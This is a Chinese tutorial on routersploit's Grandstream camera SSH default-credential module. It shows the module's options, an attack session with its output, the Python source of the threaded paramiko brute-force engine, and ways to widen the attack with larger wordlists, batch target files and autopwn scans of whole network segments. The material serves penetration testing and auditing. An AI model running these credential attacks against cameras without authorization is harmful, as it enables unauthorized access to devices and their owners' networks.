- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
导读
本文围绕 routersploit 项目中的creds/cameras/grandstream/ssh_default_creds模块展开,讲解如何对 Grandstream(潮流网络)摄像头开启的 SSH 服务执行默认凭据字典攻击:模块会依次尝试内置的"用户名:密码"组合,一旦命中即把有效凭据回显给用户。读完本文,你将掌握该模块的完整调用流程、全部可配置参数的含义与取值范围、底层 SSH 认证与多线程实现原理,以及如何用自定义字典和批量目标文件扩展它的实战能力。
模块是什么:对 Grandstream 摄像头 SSH 服务的默认凭据字典攻击
根据官方文档 ssh_default_creds.md 的定义:
Module performs dictionary attack with default credentials against Grandstream Camera SSH service. If valid credentials are found, they are displayed to the user.
即该模块针对 Grandstream 摄像头的 SSH 服务执行默认凭据字典攻击,一旦发现有效凭据,立即向用户展示。它归属于creds/cameras/grandstream目录,与同目录下的 ftp_default_creds.py、telnet_default_creds.py 共同构成了针对 Grandstream 设备的完整默认凭据检测矩阵——分别覆盖 FTP、SSH、Telnet 三种远程管理服务。
从源码看,该模块本身是一个极薄的适配层(ssh_default_creds.py),它直接继承自通用模块routersploit.modules.creds.generic.ssh_default中的Exploit类,仅通过__info__元数据声明了厂商与设备信息("devices": ("Grandstream Camera",)),并覆写了几个关键默认值。因此,理解这个模块的关键在于理解它背后那套通用的 SSH 默认凭据攻击引擎。
模块选项总览
模块实例化后,通过show options可以看到以下可配置项。其中target、port、threads、defaults由 Grandstream 适配层直接声明(ssh_default_creds.py),stop_on_success、verbosity则从通用 SSH 模块继承而来(ssh_default.py)。
| 选项 | 默认值 | 类型 | 说明 |
|---|---|---|---|
target | ""(空) | OptIP | 目标 IPv4/IPv6 地址,或file://开头的目标列表文件路径 |
port | 22 | OptPort | 目标 SSH 端口,合法范围 1~65535 |
threads | 1 | OptInteger | 并发线程数,Grandstream 适配层默认 1 |
defaults | admin:admin | OptWordlist | 凭据字典,格式为User:Pass,多个用逗号分隔,或以file://指向字典文件 |
stop_on_success | true | OptBool | 命中第一组有效凭据后是否立即停止攻击 |
verbosity | true | OptBool | 是否逐条回显认证尝试过程 |
值得注意的细节:Grandstream 适配层将threads默认值收敛为1(通用模块默认为8),并把defaults收窄为单一的admin:admin(通用模块默认加载全局字典 defaults.txt,共 653 条user:pass组合)。这一设计意图很明显——厂商适配层给出"最可能的候选",用户可以在此基础上自行扩充。
各选项的赋值校验由 option.py 中的选项类型实现:
OptIP(option.py)通过is_ipv4/is_ipv6正则校验地址合法性,非法的地址会抛出OptionValidationError;OptPort(option.py)要求取值落在0 < value <= 65535区间;OptWordlist(option.py)支持两种形态:逗号分隔的内联字典,或file://指向的字典文件——后者在读取时逐行 strip,文件不存在会直接报错。
标准使用流程(Verification Steps)
官方文档给出的标准验证流程共 5 步,在 routersploit 交互式解释器中执行:
- 启动框架:
./rsf.py(入口脚本见 rsf.py); - 加载模块:
use creds/cameras/grandstream/ssh_default_creds; - 设置目标:
set target [TargetIP]; - 执行攻击:
run; - 若发现有效凭据,结果将直接回显给用户。
这几条命令在 interpreter.py 中有对应实现:command_use(interpreter.py)把点分路径拼装为routersploit.modules.creds.cameras.grandstream.ssh_default_creds后通过import_exploit动态加载模块;command_set(interpreter.py)先校验选项是否存在于current_module.options,再调用setattr完成赋值并打印key => value;command_run(interpreter.py)则输出Running module ...并触发current_module.run(),同时捕获KeyboardInterrupt以便用户中途取消。
典型运行场景
以下完整输出来自官方文档 ssh_default_creds.md 的 Scenarios 一节,展示了一次完整的攻击会话:
rsf > use creds/cameras/grandstream/ssh_default_creds rsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Grandstream Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin这段输出完整映射了攻击引擎的各个阶段:
Target exposes SSH service来自check()连通性探测的成功分支;thread-0 thread is starting.../thread is terminated.对应run_threads创建的线程生命周期;- 每一条
SSH Authentication Failed / Successful均由 SSH 客户端的login()方法打印; - 末尾的
Elapsed time由 exploit.py 中的run_threads统计; - 最终的凭据表格则通过
print_table以("Target", "Port", "Service", "Username", "Password")为表头渲染。
攻击引擎源码级剖析
1. run → attack 的调用链
模块实例的run()来自通用 SSH 模块(ssh_default.py):
def run(self): self.credentials = [] self.attack()attack()被@multi装饰器包裹(ssh_default.py):
@multi def attack(self): if not self.check(): return print_status("Starting default credentials attack against SSH service") data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Service", "Username", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")流程可概括为:先check()确认目标暴露 SSH 服务;再基于LockedIterator包装的字典启动多线程;攻击结束后根据self.credentials是否非空决定打印成功表格还是报错。
2. check():攻击前的服务探测
def check(self): ssh_client = self.ssh_create() if ssh_client.test_connect(): print_status("Target exposes SSH service", verbose=self.verbosity) return True print_status("Target does not expose SSH", verbose=self.verbosity) return Falsetest_connect()(ssh_client.py)的实现很巧妙:它用固定的用户名root加 12 位随机密码去连接目标(random_text(12),见 utils.py)。若目标返回paramiko.AuthenticationException——说明 SSH 服务在线、只是认证失败——则判定"暴露 SSH 服务"并返回True;若连接阶段就抛其他异常(超时、拒绝连接等)则返回False。
3. 多线程攻击与凭据消费
target_function是每个线程的执行体(ssh_default.py):
def target_function(self, running, data): while running.is_set(): try: username, password = data.next().split(":", 1) ssh_client = self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close() except StopIteration: break要点有三:
- 线程安全:
data是LockedIterator(exploit.py),内部持有一把threading.Lock,保证多个线程不会取到同一条凭据; - 凭据解析:
split(":", 1)只按第一个冒号切分,因此密码本身可以包含冒号; - 命中即停:
running.clear()会让所有线程在下一次循环检查时退出;target_protocol由SSHClient基类固定为Protocol.SSH(ssh_client.py),这也是结果表格中Service列显示ssh的来源。
run_threads(exploit.py)会为每个线程命名thread-0、thread-1……并在全部线程结束后打印耗时。
4. SSH 客户端与 paramiko 细节
认证动作最终落到SSHCli.login()(ssh_client.py):
self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())连接参数包含:timeout=SSH_TIMEOUT(8 秒,ssh_client.py)、banner_timeout=SSH_TIMEOUT、look_for_keys=False、allow_agent=False。后两个参数意味着攻击过程不会去读取本机 SSH 私钥或调用 ssh-agent,从而保证认证结果完全由字典中的密码决定,不会产生"非预期命中"。
认证结果分三种处理:paramiko.AuthenticationException打印认证失败并关闭连接;其他异常打印SSH Error while authenticating;成功则打印成功信息并返回True,同时记录凭据。
实战扩展一:自定义凭据字典
Grandstream 适配层默认只携带admin:admin一条凭据,但在真实环境中,同一型号不同固件版本的默认口令可能不同。三种常用扩展方式:
方式 1:内联字典(逗号分隔)
rsf (Grandstream Camera Default SSH Creds) > set defaults admin:admin,admin:12345,root:root方式 2:字典文件(file://)
将凭据逐行写入文件(每行一条user:pass),然后:
rsf (Grandstream Camera Default SSH Creds) > set defaults file:///path/to/grandstream_creds.txtOptWordlist在读取file://文件时会逐行strip(),空行和首尾空白会被自动清理;如果文件路径不存在,__set__阶段就会抛出OptionValidationError("File '...' does not exist.")(option.py)。
方式 3:加载全量内置字典
把defaults显式指向仓库内置的全局字典 defaults.txt(653 条常见设备默认凭据,涵盖Admin:admin、Administrator:changeme、root:root等典型组合),适合在不确定具体型号默认口令时扩大覆盖面:
rsf (Grandstream Camera Default SSH Creds) > set defaults file://routersploit/resources/wordlists/defaults.txt注意:字典越大、threads越高,攻击越快,但对目标设备的连接压力也越大,请自行权衡。
实战扩展二:批量目标与全局选项
批量目标:target同样支持file://前缀,文件每行一个ip:port。@multi装饰器(exploit.py)会逐行解析,若行内带端口则覆盖port,否则沿用当前port值,对每个目标依次执行一次完整攻击。
全局选项:若要对多个不同模块复用同一个target,可改用setg设置全局选项(interpreter.py 的command_setg会把选项写入GLOBAL_OPTS),避免重复输入。
模块测试与回归保障
仓库为每个凭据模块都配套了单元测试,test_ssh_default_creds.py 验证了该模块的关键契约:
exploit = Exploit() assert exploit.target == "" assert exploit.port == 22 assert exploit.threads == 1 assert exploit.defaults == ["admin:admin"] assert exploit.stop_on_success is True assert exploit.verbosity is True测试断言了:模块默认target为空、port为 22、threads为 1、defaults恰为["admin:admin"],且stop_on_success、verbosity均默认为true。随后测试把target、port指向一个 mock 的 SSH 服务,验证check()返回False、check_default()返回None、run()返回None(即无凭据时模块安静结束、不抛异常)。这套测试同时证明了 Grandstream 适配层确实收窄了通用模块的默认值——这正是厂商适配模块的设计模式:继承引擎、覆写默认值、声明元数据。
与其他 Grandstream 凭据模块的配合
Grandstream 摄像头通常同时暴露多种管理服务,单一 SSH 模块只能覆盖 22 端口这一条路径。在实战中,建议按以下顺序组合检测:
| 模块路径 | 覆盖服务 | 默认端口 |
|---|---|---|
creds/cameras/grandstream/ssh_default_creds | SSH | 22 |
creds/cameras/grandstream/telnet_default_creds | Telnet | 23 |
creds/cameras/grandstream/ftp_default_creds | FTP | 21 |
三者共享同一套"继承通用引擎 + 覆写默认值"的实现模式,使用方式完全一致,仅凭据字典与目标端口不同。此外,routersploit 的 autopwn 扫描器(autopwn.py)可以自动遍历摄像头/路由器目标并批量调用对应的默认凭据模块,适合在网段内做大规模巡检。
小结
creds/cameras/grandstream/ssh_default_creds是一个"麻雀虽小、五脏俱全"的典型凭据检测模块:对外它只暴露了 4 个厂商相关选项,对内却完整复用了 routersploit 的 SSH 客户端、参数校验、多线程调度、字典迭代与结果表格渲染整套引擎。通过 ssh_default_creds.py、ssh_default.py、ssh_client.py 三层源码,你可以清晰看到"适配层 → 通用引擎 → 协议客户端"的职责分层;而自定义字典、file://批量目标、setg全局选项等能力,让这个模块在真实设备巡检中可以灵活扩展,从单点验证升级为批量默认口令排查工具。
- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
相关推荐
routersploit 实战:Stardot 摄像头 FTP 默认凭据探测模块(creds/cameras/stardot/ftp_default_creds)深度解析
routersploit 实战:Stardot 摄像头 FTP 默认凭据探测模块(creds/cameras/stardot/ftp_default_creds
网络安全嵌入式routersploit 实战:利用 ssh_default_creds 模块检测 Speco 摄像头默认 SSH 凭据
routersploit 实战:利用 ssh_default_creds 模块检测 Speco 摄像头默认 SSH 凭据 导读 本文围绕 routersploi
网络安全嵌入式Avigilon 摄像头默认 SSH 凭据检测:routersploit ssh_default_creds 模块实战指南
Avigilon 摄像头默认 SSH 凭据检测:routersploit ssh_default_creds 模块实战指南 导读 本文围绕 routersplo
网络安全嵌入式
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考